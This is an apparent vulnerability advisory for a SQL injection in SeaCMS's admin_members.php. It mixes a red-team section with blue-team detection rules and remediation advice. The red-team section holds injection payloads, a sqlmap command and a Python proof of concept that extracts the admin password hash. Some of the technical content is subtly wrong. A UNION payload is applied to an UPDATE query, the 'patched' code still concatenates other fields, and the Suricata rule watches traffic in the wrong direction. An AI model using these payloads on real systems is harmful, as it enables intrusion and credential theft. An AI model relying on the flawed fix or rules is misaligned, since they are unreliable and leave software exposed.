CVE-2025-10662

Executive Summary

CVE-2025-10662 is a SQL injection vulnerability discovered in SeaCMS up to version 13.3. The flaw resides in the /admin_members.php?ac=editsave endpoint, where the ID argument is not properly sanitized before being used in a database query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The vulnerability is distinct from CVE-2025-25513, which affects a different injection point. Despite a low EPSS score (0.0%), the public availability of exploit details increases the risk for unpatched instances.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the SeaCMS PHP application directly.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

The threat level is medium due to the low complexity and no authentication requirement, but the impact is limited to partial data compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the admin_members.php script. The ID parameter is directly concatenated into a SQL query without proper sanitization or parameterized queries. An attacker can manipulate the ID parameter to break out of the intended SQL syntax and execute arbitrary commands.

For example, a request like:

GET /admin_members.php?ac=editsave&ID=1' OR '1'='1

Could result in the following SQL query:

UPDATE `members` SET ... WHERE `id` = '1' OR '1'='1'

This would update all members' records, demonstrating a potential integrity impact.

The vulnerability is publicly known, with proof-of-concept code available. The lack of a patch from the vendor (SeaCMS) means all versions up to 13.3 are affected.

Vulnerable vs. Patched Code

Vulnerable Code (SeaCMS <= 13.3):

// admin_members.php
$id = $_GET['ID'];
$sql = "UPDATE `members` SET `username`='$username', `password`='$password' WHERE `id` = '$id'";
$db->query($sql);

Patched Code (Hypothetical):

// admin_members.php
$id = intval($_GET['ID']); // or use prepared statements
$sql = "UPDATE `members` SET `username`='$username', `password`='$password' WHERE `id` = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param("i", $id);
$stmt->execute();

The patched version uses parameterized queries or type casting to prevent injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable SeaCMS instance (version <= 13.3)
• Network access to the admin panel

Exploit Steps:

1. Identify the vulnerable endpoint: /admin_members.php?ac=editsave
2. Craft a malicious ID parameter to extract data. For example, to retrieve the admin password hash:

   GET /admin_members.php?ac=editsave&ID=1' UNION SELECT 1,2,3,4,5,password,7,8 FROM members WHERE username='admin' -- 
   

3. Use SQL injection tools like sqlmap for automated exploitation:

   sqlmap -u "http://target.com/admin_members.php?ac=editsave&ID=1" --batch --dbs
   

Proof-of-Concept (Python):

import requests

target = "http://target.com/admin_members.php?ac=editsave"
payload = "1' UNION SELECT 1,2,3,4,5,password,7,8 FROM members WHERE username='admin' -- "
params = {'ID': payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL error messages in logs.
• Look for requests to /admin_members.php with suspicious ID parameters containing SQL keywords (e.g., UNION, SELECT, OR).
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.

Hunting:

• Search for HTTP requests with ID parameter containing single quotes (') or SQL comments (--).
• Analyze database logs for unexpected queries.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /admin_members.php?ac=editsave with ID parameter containing SQL syntax.
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

• File IOCs:

  • Modified members table entries.
  • Unexpected files in the web root (e.g., webshells).

• Log IOCs:

  • Web server logs showing requests with ID parameter containing ', OR, UNION, etc.
  • Database logs showing anomalous queries.

Detection Engineering

YARA Rule

rule CVE_2025_10662_SQLi_SeaCMS {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-10662 in SeaCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10662"
    strings:
        $s1 = "admin_members.php?ac=editsave&ID="
        $s2 = "' OR '" ascii nocase
        $s3 = "UNION SELECT" ascii nocase
        $s4 = "1=1" ascii nocase
    condition:
        $s1 and any of ($s2, $s3, $s4)
}

Sigma Rule

title: CVE-2025-10662 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against SeaCMS admin_members.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'admin_members.php?ac=editsave&ID='
        cs-uri-query|contains|all:
            - "'"
            - 'OR'
            - '1=1'
    condition: selection
falsepositives:
    - Legitimate use of single quotes in ID parameter (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10662 SeaCMS SQL Injection Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/admin_members.php?ac=editsave&ID="; http_uri;
    content:"'"; http_uri;
    content:"OR"; http_uri;
    content:"1=1"; http_uri;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable SeaCMS instance from the internet if possible.
2. Apply input validation and parameterized queries to the ID parameter in admin_members.php.
3. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Long-term Fix:

• Upgrade to a patched version of SeaCMS once available.
• Conduct a full code review for similar injection vulnerabilities.
• Use prepared statements for all database queries.

Workaround:

• If patching is not possible, restrict access to the admin panel via IP whitelisting or VPN.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.